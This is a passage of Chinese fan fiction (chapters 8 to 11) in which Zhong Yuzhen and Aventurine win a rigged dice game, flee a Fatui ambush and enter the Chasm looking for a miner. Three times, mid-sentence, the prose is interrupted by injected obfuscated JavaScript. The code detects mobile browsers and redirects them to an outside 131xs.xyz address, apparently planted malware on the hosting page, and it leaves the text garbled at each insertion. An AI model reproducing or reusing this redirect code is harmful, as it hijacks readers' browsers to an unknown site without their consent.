“懂了,那就是想跟我一起离开!”钟羽蓁满意地扬起下巴,微倾身体拿起桌上的木盅,试着在空中摇了摇寻找手感。 管你什么愚人众、什么富人的妹妹,都别想抢走她的合伙人! 就算是至冬女皇来了,也休想让她违背契约! 虽然砂金早就猜到了钟羽蓁的回答,可真听她这么一说,还是忍不住因为她笃定的侧颜而失神了一瞬。 钟羽蓁捧着骰盅,意气风发地想着大不了把小尘歌袋里的仙丹都典当了。 在连输七局时,脸上的笑容还是彻底消失了。 梅洛伊丝眨眨眼睛,目光落在砂金身上:“下一局的赌注可是一百二十八万噢,到时候输了再后悔,哪怕我是无名赌坊的老板,也不好给你们机会哟~” 一百二十八万,再加上刚才钟羽蓁连输七局的一百二十七万,已经远超预算好几十万了。 钟羽蓁有些犹豫,砂金凑到她耳边,蛊惑的嗓音似乎带着温度:“没关系,放心输吧,最后我会全部赢回来的。” 真的假的? 钟羽蓁金色的眼眸里闪烁着怀疑的光芒。 她感觉自己的心跳越来越快,不知道是因为赌桌上的局势越来越紧张,还是因为砂金离她很近,他身上好闻的香味隐隐环绕在她鼻翼间。 骰子在木盅里碰撞、分散,钟羽蓁咽咽口水打开盖子。 五五六,她运气最好的一次,但还是输给了梅洛伊丝投出的五六六。 很生气,钟羽蓁咬了咬腮帮肉,怕自己忍不住掀桌子,于是起身:“还有两局,你来输吧。” “羽蓁小姐就对我这么没有信心?”砂金委屈地眨眨眼,清秀的眉毛向下弯,但神情间还是那副信心在握的模样。 砂金捏起其中一枚骰子,向钟羽蓁介绍:“有一些赌坊会调整骰子的重心,确保自己能更大概率地扔出想要的点数,我们的这副骰子没有问题,但那位梅小姐的骰子……就不好说了。” “你知道还让我跟她赌?”钟羽蓁没好气地翻了个白眼,拉了拉砂金的衣袖,“说话这么大声,小心她听见了。” 钟羽蓁的唇瓣扫过砂金微翘的头发,砂金侧眸听她说话,两人之间隔得很近,几乎能感受到彼此的呼吸。 梅洛伊丝看到他们这么亲密,笑容僵了一瞬,摇动骰子,将砂金的注意力吸引回她身上:“我叫梅洛伊丝,不姓梅。” 8. 第8章 “梅什么?”砂金问。 钟羽蓁:“……梅洛伊丝。” “哦。” 发现砂金又看着钟羽蓁,梅洛伊丝眼神微凛,将骰盅往前推了推:“既然这位先生怀疑我这副骰子有问题,那我们就交换骰盅好了。” 钟羽蓁知道,即使梅洛伊丝手里的骰子更容易掷出“三三三”,这对没有手法的人来说依旧很难。 她帮砂金更换好骰盅,安慰道:“没事,尽管输,我会想办法把钱补上的!” 梅洛伊丝身后一位穿着半透明材质衣服、露出八块腹肌的男人抱着双臂嘲讽道:“这位小姐就对你的人如此没有信心吗?” 闻言,砂金看向钟羽蓁,佯装可怜地摊摊手,眉毛和嘴角都向下微弯。 钟羽蓁挑眉,信任合伙人之前也得看看实际情况吧,无条件相信会显得很愚蠢的。 她上下打量了露腹肌男人一眼,学着砂金的样子无辜摊手:“至少……我不会让他成为我的‘外置勋章’。” 吃穿不愁但要仰仗别人为生,连说话都得看梅洛伊丝的眼色,穿着没有尊严的衣服站在她身后,这样的“信任”大概来自于梅洛伊丝有十足把握能找到其他人代替他吧。 看着男人不语并且脸色变得难看的模样,钟羽蓁满意勾唇:“我虽然没有那么相信他的赌术,但我……不会因此选择别人呀。” “挑拨离间?呵,拙劣的伎俩。”梅洛伊丝冷笑一声,打断钟羽蓁的话,抬手示意道:“开始吧——” 虽然知道钟羽蓁是故意这么说的,砂金还是睫羽微颤,他随便摇了两下骰盅,放在桌上。 两个盅盖一起掀开,梅洛伊丝掷出了“五五六”,砂金掷的是“五六六”。 相差不多,但赌桌上赢者只有一个。 “怎么会……”腹肌男往前一步,想质疑什么,又找不到说辞,只能铁青着脸,目光开始呆滞。 梅洛伊丝盖上盅盖,拿起骰盅,目光灼灼落在砂金身上:“还有一局,来吧。” 写着负债条的筹码盘里突然重新堆满了筹码,钟羽蓁用力眨眨眼睛,金色的眼眸里盛满星星:“哇!砂金,你运气这么好的嘛?!” 砂金勾起嘴角,手持骰盅,黑色手套将手指勾勒得格外修长,钟羽蓁看着他精致的侧脸,感觉他浑身都在闪闪发光。 最后一局,梅洛伊丝投出了“六六六”,接着她往后一靠,好整以暇地接过腹肌男递来的酒杯,举至空中,朝砂金和钟羽蓁轻轻摇晃。 “没关系……”钟羽蓁撑着下巴,在脑海里迅速计算,“刚才我们赢了一把,算下来……只要再付,额……一千五百三十四万摩拉就行。” 天哪,把往生堂当了能抵这么多钱吗?! 钟羽蓁感觉自己脑袋有些眩晕,她倚在靠背上,盘算着要怎样卖惨才能向凝光借到这么多摩拉。 折算下来,就算她跟凝光是熟人,也得打工到七老八十岁吧! 梅洛伊丝看着钟羽蓁嘴角微微颤抖、欲哭无泪的样子,提醒道:“现在后悔已经来不及了哦。” “谁说我后悔了!”钟羽蓁拉开挂在腰间的小尘歌袋,“不就是区区一千五百三十四万吗?!” “朋友——” 砂金见他靠着座椅半天都没人看他投数的骰子数,于是出声提醒:“你们真的不打算看看我掷出的点数吗?” 为了展示对合作伙伴的友好,钟羽蓁还是给面子地看了一眼,她低头在小尘歌袋里翻了两下,突然抬起头,望向骰盅底座的时候,在梅洛伊丝等人眼里看到了同样的不敢置信。 “三……三个三!”梅洛伊丝起身,随手把酒杯放在桌上,红色的酒液飞溅在她蓝色的衣袖上,她却像未察觉到一般似的,脸色有些惨白,“你根本不是新手!那样说是故意想跟我交换骰盅——你这该死的赌徒!” “噢?”砂金将圈在手指上的戒指整理一番,“这话听着……有些耳熟。” 钟羽蓁笑嘻嘻地把工作人员端来的摩拉扔进小尘歌袋里,兴奋得想像跟魈说话一样揪住砂金的衣袖,最终停住手,改为用手遮挡嘴:“你怎么不早说你是高级赌徒啊!害得我白焦虑了这么久……” “羽蓁小姐不是讨厌赌徒吗?譬如——那个叫逸嘉的青年。” 钟羽蓁一时语塞,她朝梅洛伊丝晃了晃小尘歌袋:“谢了,梅洛伊丝小姐。正好二十局,那我们就先走了。” 小尘歌袋并未拉紧,钟羽蓁将摩拉放进去的时候,顺手把爹爹送她的「沙中伟贤的对答」卡在口袋边缘。 书上说,赌徒的最高境界就是不染上赌,因为赌坊从来不做亏本生意,哪怕有赌徒运气好能赢下不少摩拉,也很难顺利走出赌坊。 让钟羽蓁意外的是,一直到她和砂金走出无名赌坊,走到雨林的另一边,都没有愚人众跟上来堵路。 “赢的摩拉我们也五五分吗?会不会有些不太公平?毕竟输都是我输的……”钟羽蓁苦思冥想着,和砂金前后走过石阶桥。 她敏锐地察觉到石桥对面的草丛后有窸窣声,没几秒钟,身后的路上也传来脚步声,杀气让钟羽蓁下意识掏出了武器。 她把砂金护在身后,看着将桥两边围起的愚人众,在心底为梅洛伊丝贴上“恶女”标签。 桥两边愚人众为首的分别是一位蓝衣服的冰系胖子和一位手持铳枪的火系高个青年。 铳枪男人挡住两人的去路,步步逼近:“小姐,留下你身边的那个男人和刚才赢的摩拉,你就能安然离开了。” 钟羽蓁往后一退,离砂金更近了些,砂金以为她在犹豫,却听见钟羽蓁小声安排:“待会我把那个铳枪男拖住,给你留出一条路,你沿着路一直往前走,应该能碰到一个村庄。” 从砂金的视角看去,能看到钟羽蓁以守护的姿势挡在他面前,风将她的长发和毛茸的耳羽吹得有些乱,有缕发丝被吹到了他的唇边,颜色是夕阳的橙黄。 为什么明明没有神之眼,也要选择保护他? ——砂金自认为擅长洞察人心,心里却产生了这样的疑问。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15598688|171967||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无论是奴隶时期的主人、公司,还是翡翠女士,在一开始都是有目的地选择了他,看中了他的利用价值。 砂金不介意被人利用,因为他也在利用别人。可突然有一个人毅然决然地站在他前面,他…… 有些无所适从。 见钟羽蓁下定了决心不把砂金留下,蓝胖子挥挥手让同伴上前捆人。 钟羽蓁表情一冷,翻舞着手里的长柄,配合脚上利落的飞踢,将几个没有神之眼的愚人众打进了瀑布底下。 “爹爹说得没错,好看不一定好用……”钟羽蓁看着没有什么杀伤力的长柄,有些后悔没要贯虹之槊。 她用可爱的翅膀头指着蓝胖子:“来吧,别浪费时间了,你们一起上好了。” 蓝胖子给了铳枪男一个眼神,两人同时举起手里的枪。 钟羽蓁果断拉着砂金闪身躲开,利用元素力相克的知识,用长柄改变子弹飞出的轨迹,让不断飞出的子弹在空中相抵,她松开砂金的手,轻轻推了他一下:“快走。” 钟羽蓁的话音刚落,就见十几个新到的愚人众填补了被她打空的缺口。 这是钟羽蓁第一次跟有神之眼的人真枪实弹地打斗,她难免有些慌张,又要防止砂金受伤,渐渐地开始有些力不从心。 在提瓦特使用「存护」的力量是不理智的。 但砂金从不是不敢冒险的人,他将骰子抛向瀑布,一手环住钟羽蓁的腰,带着她跃向了空中。 钟羽蓁对砂金并未设防,被他从身后抱住,先是一愣,还没来得及反手给他一肘击,就被拉着从瀑布上跳了下去。 失重感让钟羽蓁下意识揪住了身边的唯一稻草,她的呼吸卡在嗓子眼,看见世界慢动作在头顶闪过,闭眼的一瞬间,砂金身上独特的香味和微热的体温危险而蛊惑地裹住了她。 “砂、砂金!”钟羽蓁气坏了,预料中的水并未淹没她,她睁开眼,发现自己稳稳地踩在了一个圆形筹码转盘上方。 转盘倾斜着,顺着水流的方向像艘小船一般朝下游驶去。 砂金维持着低头保护钟羽蓁的动作,她的脸颊贴在他的奶窗处,温热的触感像是带了电,酥酥麻麻的让他喉间有些发干。 “哇!这是什么?机关术吗?好神奇呀……”钟羽蓁低眸思索着转盘能维持奇怪角度行驶的原理,抬头想向砂金询问时,猝不及防撞进了他蓝紫色的绚彩眼眸里。 因为慌张而狂跳的心脏好不容易恢复正常,又紊乱了起来。 钟羽蓁感觉脸颊和耳朵开始升温,这是一种她从没体会到的感觉,跟和爹爹与魈相处时完全不同,耳羽似乎都快燃烧起来了。 她意识到自己和砂金紧紧抱在一起,立马睁大双眼,一把从他怀里逃出来,又怕掉进水里摔成“落汤鸡”,于是害怕地揪住了砂金高挽起的衣袖。 衣袖被拉得有些变形,溅起的水花落在砂金的西装上。 砂金看着钟羽蓁脸颊飞起的那抹绯红,嘴唇不自觉地上扬,并未因为行头狼狈而感到心烦。 9. 第9章 漂过陡峭的上游,转盘行驶的速度随着水流的平缓开始稳定下来。 钟羽蓁打量着小溪两旁,挑了个还算平坦的草地踩了上去。 砂金伸手扶了她一下,也跟着踏上草地,然后拢手让转盘消融在溪水中。 他发现钟羽蓁有些奇怪,尤其是她打量他的眼神,带着茫然的探究。 砂金突然想起一种名为“吊桥效应”的东西。 说女性在遇到危险时会心跳加速,如果此时有一位男性对她施加援手,她很容易因为恶劣的环境、悸动的心跳而误以为对他产生了好感。* 送砂金这本书时,托帕的说辞是:赌徒赢得赌注,不一定要玩命,可以试试从其他角度入手。 砂金不赞同这个说法,但也看得津津有味,他觉得这些什么效应很有意思。 譬如,有一个“同质效应”,说相似的人总会容易互相吸引。末尾处还附上了很多引用的文献和可供查询的数据。 但砂金对此嗤之以鼻。 他这种将人生视为博弈、喜欢铤而走险、乐于与人互相利用的人,明明就向往别人身上赤诚的善良。 并且,如果这善良是给予砂金的…… 他会有些没法利用那人。 但也仅会犹疑一秒。 毕竟,砂金从不做赔本买卖。 钟羽蓁没太将心跳加快当一回事,她还想问问筹码转盘的事,目光突然被砂金脖子上奇特的青色字纹吸引了过去。 她看书很杂,记性又很好,只两秒就想了起来:“……奴隶?” 嘴比脑子快,一说完钟羽蓁就后悔了。 虽然提瓦特多的是不同爱好的人,但品味再怎么独特,也不至于将这么有侮辱性的词印在身上吧? 那就只有一种可能。 被迫的。 看着钟羽蓁尴尬地偏开头选择沉默,砂金坦然承认道:“羽蓁小姐可真是博学啊,连这类语言都会。如你所见,这枚印记代表了我曾经的一段经历。感兴趣吗?你想听的话,我不介意说说。” 钟羽蓁虽然好奇,但并不想划开别人的伤疤。 她能预想到“奴隶”的生活有多惨,心里升起一股同情,转移话题道:“我突然想起,我刚才跟愚人众打架的时候,其实是可以把你装在我小尘歌袋里的!” 砂金看了钟羽蓁两眼,勾着嘴角问:“活人也能装进去?” “额,不知道,没试过……”钟羽蓁打量着砂金被淋湿的毛绒衣领,突然有些好奇,“你这身打扮,还有这么多漂亮的装饰,都是赌来的吗?” “可以这么认为。朋友,当你饥肠辘辘、嘴唇干涸到皲裂的时候,你也会愿意用赌来换取点东西。” 钟羽蓁理解,但不完全理解:“可你现在明明已经可以吃饱喝足了,却还是在赌。你手上的戒指,随便一枚就能在璃月港生活好几个月,不是吗?” 砂金捋了捋衣袖:“用羽蓁小姐能理解的话来说——因为我误入了一个赌坊,需要赌满足够的次数才能脱局。” 他看着钟羽蓁那双澄净纯粹的眼睛,突然决定改变说辞,“但实际上,我只是享受风险罢了。” 跟家人分开、身无分文; 精明的赌徒、享受风险。 钟羽蓁不知道到底哪一个才是砂金的真实面目。 她一贯不喜欢和不真诚、满嘴谎言的人说话,但此刻…… 她犹疑了。 就像明知道团雀是来骗鸟食的,她还是打开了窗户,伸手递去一把米。 钟羽蓁皱眉:“你以后别赌了,需要钱的话,我会努力赚的。” 真有意思。 竟然会有人说出类似“无条件养他”的话。 砂金看着她:“为什么不希望我赌?” “当然是因为总会有赌输的一天啊!” “可我运气很好,从来没输过。” “那也不代表以后不会输吧!”钟羽蓁听见自己肚子发出咕咕的响声,她连忙一把捂住,决定短暂忘了这个话题,“你说你运气好,能有多好,可以随随便便就打到几条鱼来吃吗?” 砂金捡起几枚石子,任意朝水里两个方向扔出,钟羽蓁听见“啪嗒”两声响,像是砸中了什么东西,她提着裙子跑过去,再回来的时候,怀里抱着两条鱼。 一招击毙,鱼并没有遭受多少痛楚。 “好吧,你运气似乎真的还不错。”钟羽蓁拿出闲云送的全自动烹饪机器,把鱼扔进去,再翻出两串冰糖葫芦,和砂金一起啃完,用竹签插好烤鱼,闻着焦香鲜嫩的鱼肉,满足地试了一口:“嗯~好吃!” 可能是少女脸上生动的神情为烤鱼增添了佐料,砂金竟然觉得烤鱼比他想象中的要好吃很多。 吃完烤鱼后,钟羽蓁拿出赢得的摩拉,分了一半给砂金:“我现在要回一趟冬祁姥姥那里,你想跟我一起吗?” 距离翡翠女士给的一周时间马上就要过去两天了。 砂金看着钟羽蓁将摩拉均分成两份,问道:“羽蓁小姐还记得跟我合作时答应我的事吗?” “当然记得,你说吧!” “五天后,我需要羽蓁小姐跟我去一个地方。”砂金见钟羽蓁认真听他说话,沉默了一秒,才继续道:“可能会有些麻烦,但我保证,你的性命不会受到威胁。我想,我现在在羽蓁小姐这里应该还是有点可信度的吧?” 钟羽蓁想也没想就点了头:“不需要五天,你着急的话,等我把逸嘉的事情处理好,就能跟你去。” “不问问是去哪吗?” “去哪很重要吗?反正不是璃月就是须弥,不是须弥就是别的国家,总之是在提瓦特。” “朋友,我必须坦诚告诉你,我想请你去的地方,在提瓦特大陆之外。” 落日为树叶染上一层橙黄,葱郁的树影遮蔽了钟羽蓁的身体,她看着站在光里的砂金,睫羽撒下的斑驳阴影,让他的眼神看上去危险而蛊惑。 钟羽蓁马上就醒悟过来,砂金从一开始接触她,就是为了把她带去另一个地方。 不清楚目的是什么,钟羽蓁只想知道:“我……还能回来吗?” 砂金嘴边漫出一丝轻笑:“当然了,朋友。我又不是打算把你卖出去。” “既然不会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15598689|171967||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 死,又能回来,那我担心什么?”钟羽蓁眼睛一转,突然站起来,“难怪我觉得那转盘有些奇怪……原来是因为它的力量来自提瓦特之外啊。” 砂金说:“我先不跟你去冬祁姥姥家,我要忙点事,等我忙完了就去找你。” “什么事?”钟羽蓁狐疑地看着他,“你不会还‘骗’了其他人吧?” “那羽蓁小姐可就真冤枉我了。”砂金指着摆在地上的摩拉,“我只是想在离开提瓦特之前,把它们花出去。好歹也算旅行一场,不能白来吧?” 被溪水溅湿的衣服已经干得差不多了,砂金脖子周围的绒毛衣领却一缕一缕地黏在一块。 他指着地上,半截小臂露在空气中,肌肉匀称好看,微微鼓动的血脉顺着线条没入衣袖里。 钟羽蓁下意识看看一眼他的爱心奶窗,在瞥见那中间似有若无的胸肌线条时,脸色迅速蹿红。 她抿着嘴唇撇开视线,脑子里忍不住勾勒出的却是砂金遮藏在西装下的宽肩窄腰轮廓。 危险的男人。 但像醇香的酒一样,肆意释放着诱惑,引人上钩。 钟羽蓁从小尘歌袋里拿出木梳和便携铜镜递给砂金:“要不要给你的毛衣领梳一梳?嗯……还有你的头发,好像也淋湿了点。” 说完,钟羽蓁突然想起来,砂金保护着她,她并未被淋湿。 不知道这是不是男人使出的“美人计”,但钟羽蓁确实有些感动。 砂金细心打理一番,“这似乎还是我加入公司后,第一次在外头这么狼狈。” “旅途嘛、探险嘛,就是这样的。” 钟羽蓁和砂金分别,来到冬祁姥姥家,放了三百万摩拉在木桌上,问:“够了吗?能不能抵你输的那些?” 吃了闲云制作的仙丹,逸嘉已经能正常下床行走,他盯着钟羽蓁,突然一把跪下:“钱我不要,我能不能……求你救救我爹娘?” “你爹娘?不是去世了吗?”钟羽蓁望向冬祁姥姥。 冬祁姥姥扶起自己的孙子,有些难为情地朝钟羽蓁笑了笑:“估计是这孩子烧糊涂了吧,羽蓁小姐您别见怪。” 逸嘉猛地摇摇头,想抓住钟羽蓁的手,又觉得不礼貌,于是指了指自己的额头:“我真的没有发烧,不信你摸我额头!昨天……我是真的见到了我爹,他站在窗户外面,叫我跟他一起去去救我娘,说我娘在矿区里等我们。” 闻言,冬祁姥姥抹了一把泪,低头不语。 砂金从屋外走进来,看钟羽蓁一脸动摇的神情,无奈地提醒:“朋友,太善良了容易成为招使自己受伤的利器。” 钟羽蓁还是问道:“你确定没看错,那人真是你爹?” “当然了!我还能不认识我爹吗?”逸嘉耷拉着肩膀,脸色愈发苍白,“他们都说我爹娘在矿区里遇害了,可谁也没见着他们的尸体啊……” 钟羽蓁跟砂金商量:“不是还有五天吗?就……让我去一趟矿区吧,不会耽误多长时间的!” 砂金开始怀疑,钟羽蓁这么好骗,如果拉帝奥说学习可以拯救提瓦特,她会不会成为第二个“真理医生”? 10. 第10章 砂金没有说话。 钟羽蓁看出来了,他对跟自己目的无关的事情一贯不太关心。 但他的目的是把她带去别的大□□舍五入,她的事情就是他完全目的的“必经之路”了。 钟羽蓁酝酿一下,可怜兮兮地眨眨眼睛,嘴角往外微撅:“就这一次,我保证!” 她看着砂金,明明总是下意识跟他保持着距离,这会手却又一次揪住了他的衣袖,像在撒娇。 砂金的眼皮一跳,点了点头。 反正,也不差这一会。 而且他还在思索,要怎样通知她“剖心”一事。 钟羽蓁收回手,松了口气。 果然男人都吃软不吃硬,跟她爹爹一样。 得到钟羽蓁的应允,逸嘉松了一口气,他虽然能正常下床走路,但受伤的脚踝还在作痛,于是磕磕绊绊在奶奶的搀扶下回到了床上。 冬祁姥姥送钟羽蓁和砂金出门。 钟羽蓁看出了她的纠结,大方道:“没事的,冬祁姥姥,钱你就先拿着,反正我也不缺钱花。你如果实在过意不去……就等逸嘉身体恢复了,再让他赚钱还我好了!” “谢谢你,羽蓁小姐……”冬祁姥姥勉强笑了一下,满是沟壑的脸上布满沧桑,“不过我儿子、儿媳的事情,就不劳烦你了。” “为什么?” “……唉。因为,他们早在多年前就去世了。”冬祁姥姥回头,似乎是在确认逸嘉能不能听得到,“跟明旭一同去矿区的伢子亲眼看见的,说他们……死状惨烈,我不忍心告诉逸嘉,便连伙矿区那些工人们一起瞒着他,不料闹出了这样的笑话来。” 钟羽蓁下意识看了一眼砂金,见他沉思没说话,问道:“可是逸嘉不是说他看到了……” 冬祁姥姥苦笑道:“想来,应该是受伤导致的癔症吧。” 那么现在,选择又交到了钟羽蓁手里。 她走远了些,问砂金:“你也觉得是癔症?” “不清楚。”砂金看穿了钟羽蓁脸上的纠结,“但我猜想,羽蓁小姐是想去一探究竟的。” 钟羽蓁不喜欢这种被人看穿的感觉,她甩手走在前面:“走吧。” “哦对了,别老叫我什么‘钟小姐’、‘羽蓁小姐’的,听着很别扭,叫我羽蓁就行,我朋友他们都这么喊。” 称呼的变化代表了信任度的升级,砂金默默接受钟羽蓁的要求,有些迟疑她的身份是不是真如他刚才查到的那般简单。 往生堂客卿、成日里与逝者打交道的单亲爸爸,真能养出一位不谙世事的孩子? 独特的耳羽、熟练的枪术、奇怪的收纳袋,这些真的能同时出现在一个普通小姑娘身上? 不,除此之外,还有很多不容忽略的细节。 譬如,勉强称得上中等家庭的她,在看见赌坊的奢华装潢时,并未被迷花眼; 没有接触过赌,却对书上的内容过目不忘,并且在实操中很快就做到融会贯通; 脖子上戴着的小石头具有强大的力量、裙摆云纹讲究材质上乘、对穷人富人一视同仁的格局…… 所有的这一切,都告诉砂金一个事实:钟羽蓁不简单。 至少,她背后那位爹不是个简单人物。 砂金想起记忆中那个早就迷糊的面孔,她叫他“卡卡瓦夏”,称他是“被母神眷顾的孩子”。 他想,如果母亲还活着,他受到伤害时,她一定会拼命挡在他面前。 这样浓烈的爱,想必同样会出现在那位单亲爸爸身上。 砂金心想,到时候钟羽蓁的父亲他对钟羽蓁做了什么,心里必定会升起滔天大怒。 还好,他之后就不会再回提瓦特大陆了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15598690|171967||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 璃月港。 戏台上,名伶百转千回的绝唱已至尾声。 钟离坐在一方木桌后,茶水半凉,萍姥姥绕过人群坐在他对面。 一曲终罢,看台下响起整齐的掌声,大家对戏曲先生赞不绝口。 萍姥姥笑道:“听闻云堇先生今日不在,她徒弟的演出可还让帝君满意?” “眉目间炯炯有神、动作干脆飒爽,流雨先生不愧是云翰社的另一名角。”钟离想给萍姥姥倒杯水,沉吟两秒,“唉,茶水已凉,可惜了这壶鬼山灵芽了。” 对于钟离听戏入迷时忘记品茶的神情,萍姥姥早已不觉奇怪,“听闻今日有一着装奇怪的异乡人在璃月港打听羽蓁的身份,帝君可知晓?” “……哦?竟有此事?” “凝光的情报网声称,昨日有线人在璃月和须弥的交界处一所赌坊看见过羽蓁的身影。不知道这跟那位异乡人有没有关系……” “萍姥姥对羽蓁就如此不放心吗?” “帝君呢?帝君就当真如你表面上表现的这般放心吗?”萍姥姥笑着说了下去,“由愚人众暗中建立的无名赌坊,从来没有赢者能顺利走出来。羽蓁却跟着那位异乡男人一起,逆风翻盘赢得了几百万摩拉,还顺利从十几个实力中上的愚人众手里逃脱。当然,最重要的是——” “那位异乡人,似乎……并非提瓦特人。” 钟离撑着下巴,似乎在思忖,刘海下的浓眉一压,金色的眼眸威严尽显。 “我知道了,多谢萍姥姥特地赶来告知。钟离有事,便先行离去了。” 萍姥姥问:“帝君不问问羽蓁现在在哪吗?” “不必,我知道。” 萍姥姥诧异地抬起头看着钟离远去的背影,半晌过后,笑着摇摇头:“原来是这样……能保命也能定位。难怪此前一点都不担心……” 11. 第11章 浓黄色的岩石向中心汇聚成一个朝底部凹陷的深渊,湛蓝的天空难以照亮前行的道路。 层岩巨渊。 也是很多璃月百姓口中所说的“矿区”。 深不见底、又有着挖掘不尽的矿石,这里是不少璃月人寄托希望的地方。 入口处,拿着采伐工具的工人一眼就看出来钟羽蓁和砂金非富即贵。 离他们最近的一位中年男人直起腰,擦去矿石上的灰,扔进篓里:“小姑娘、小兄弟,这里可不是适合你们游玩的地方。” 钟羽蓁说:“大叔,我是来寻人的,‘明旭’,这个名字您听说过吗?” 四周的人停下手里的动作,刚才搭话的那位中年男人打量了钟羽蓁几眼,没有说话。 一个看上去很健壮的青年涨红着脸向钟羽蓁搭讪:“你说的是那位左边脸上有一道疤的大叔吧?” “咳咳!” 中年男人扫视过去一个眼神。 “是这样的,大叔……”钟羽蓁叹了口气,“我们离开璃月港有一段时间了,记不得路,没法正确找到冬祁姥姥家,正巧在路上听人提起明旭叔的名字,想着来他工作的地方找找。你们放心,我们绝对不是坏人!” 中年男人松了口气:“原来是这样。我还以为逸嘉那小子闯祸,在外面报了他老子的名字呢。你们找不到冬祁婶很正常,她们搬家了。至于明旭……” “明旭叔怎么了?”钟羽蓁往前一步,面露担心。 “他……早在几年前就因为矿区倒塌,被石头给……砸死了。” 说着,共事的几人胸口都长舒一气,感叹明旭命苦,也感叹他们自己生活的不容易。 “对了——”中年男人见钟羽蓁不语,叮嘱道:“这件事你到时候见到逸嘉,千万不要让他知道。至少……让他保留一丝希望吧。” 钟羽蓁低头不语,砂金笑着圆滑地接过话:“您放心,我们一定守口如瓶。” 想知道的问题得到证实后,砂金和钟羽蓁并肩朝矿区外走去。 不需要再找人,麻烦少了许多,但钟羽蓁似乎并不开心,昏暗的光线在她金色的长发上流淌,静谧又无助。 砂金问:“是不是没想到在璃月、在岩王帝君的管理下,还会有生活得如此艰辛的人,靠日复一日地挖矿来养家糊口?” 钟羽蓁摇头:“没有。我只是……觉得冬祁姥姥很辛苦。没有了儿子,好不容易把孙子拉扯大,孙子还不让她省心。” “那你后悔给他们钱了吗?毕竟,赌徒不会那么容易收手。” “他会的!因为我们签订了契约我帮他把钱赢回来,他就要好好生活。” 钟羽蓁对契约的坚信不疑,就像砂金对「琥珀王」的追崇一样。 他能理解,却见身旁的钟羽蓁突然停下脚步,指着对面支支吾吾:“明……明旭!” 砂金看过去,对面的矿洞底下,站着一个左脸上有一道疤的男人。 男人听见钟羽蓁喊她,先是一愣,才用那张皱皱巴巴满是黑褐色血渍的脸看着她,伸出手请求:“帮我……救救我的妻子……” 然后他招着手转身,一瘸一拐地消失在了砂金和钟羽蓁对面的矿洞口。 钟羽蓁打了个哆嗦,侧头望向砂金,小声说:“怎么感觉……怪瘆人的。” “你觉得他就是明旭?” “不知道……我们去看看吧!” 砂金低头看了看自己的行头,见暂时还没有沾到灰尘,满意扬唇后,表情一滞:“你确定?这里没有地图,不知道什么时候会坍塌哦,想清楚了吗?” “我想清楚了!倒是你,你怕吗?”钟羽蓁叉着腰问。 没有什么技术含量的激将法。 砂金没有拆穿,“我当然不怕,朋友。” 钟羽蓁觉得自己有必要让伙伴放心,她扬起一抹明媚的笑容:“魈跟我说过,他有一次差点在层岩巨渊里出不来,是我爹救了他。所以——” “我相信,遇到什么危险,爹爹会及时出现救我们的。” 僻静且幽深的矿区,除了内部黑暗不好前进,砂金想不到会发生什么危险。 他跟着钟羽蓁,对她的决定没说反对,漂亮的眼睛扫视着眼前逐渐变暗的路,脑海里却下意识开始未雨绸缪起来。 据他打听的消息来看,提瓦特没有能穿梭其他星球和仙舟的工具。 但是……魔神有没有这个能力,就不知道了。 不过往生堂客卿再怎么博学、人缘好,也不可能认识魔神吧。 更何况,璃月的魔神岩王帝君已经仙逝了。 虽然心里隐隐有些不安,砂金认为自己的想法还是无懈可击的。 前方的路完全看不清了。 钟羽蓁从小尘歌袋里摸索出一枚夜光石,以她手心为圆的灯光立马将矿洞里照亮。 和刚才有人采伐的矿区不同,这一片简直安静到有些恐怖。 两人重叠的脚步声在洞穴里响起,像催命的符咒,钟羽蓁下意识攥紧夜明珠,离砂金近了些。 没走几步,他们已经分不清回去的方向了。 钟羽蓁警惕地环视四周,金色的眼眸里高光和夜明珠重合,看上去明亮又清澈。 她的后背紧绷着,下颌线清晰可见,砂金想开个玩笑缓和一下气氛,突然想起某个人,有些好奇:“你说的那个魈,是什么人?” 正聚精会神打量着四周黑紫色石块的钟羽蓁一个哆嗦,没好气地撇嘴:“虽然你的声音很好听,但突然开口还是很可怕的好吧!” “哈哈,朋友,放轻松,不是你自己说的吗?遇到危险,你爹爹会出现的。”砂金摊手,“就是感觉你爹怪不容易的,一个熊孩子闯了这里差点出不去,另一个又来。” “魈才不是什么熊孩子,他都是个两千多岁的仙人了……”钟羽蓁突然话音一顿。 砂金以为她听出他在套话殊不知,钟羽蓁是想起了一件事—— 她爹爹能顺利救到魈,是因为魈来层岩巨渊之前向家长进行了汇报! 而她,说的是:不要偷偷关注她。 “仙人?”砂金指了指钟羽蓁腰间挂着的小尘歌袋,“你这荷包一样的东西就是他送的?” “不是,是萍姥姥送的。”钟羽蓁已经没有闲聊的心思了,她举起夜明珠,开始回忆刚才来时 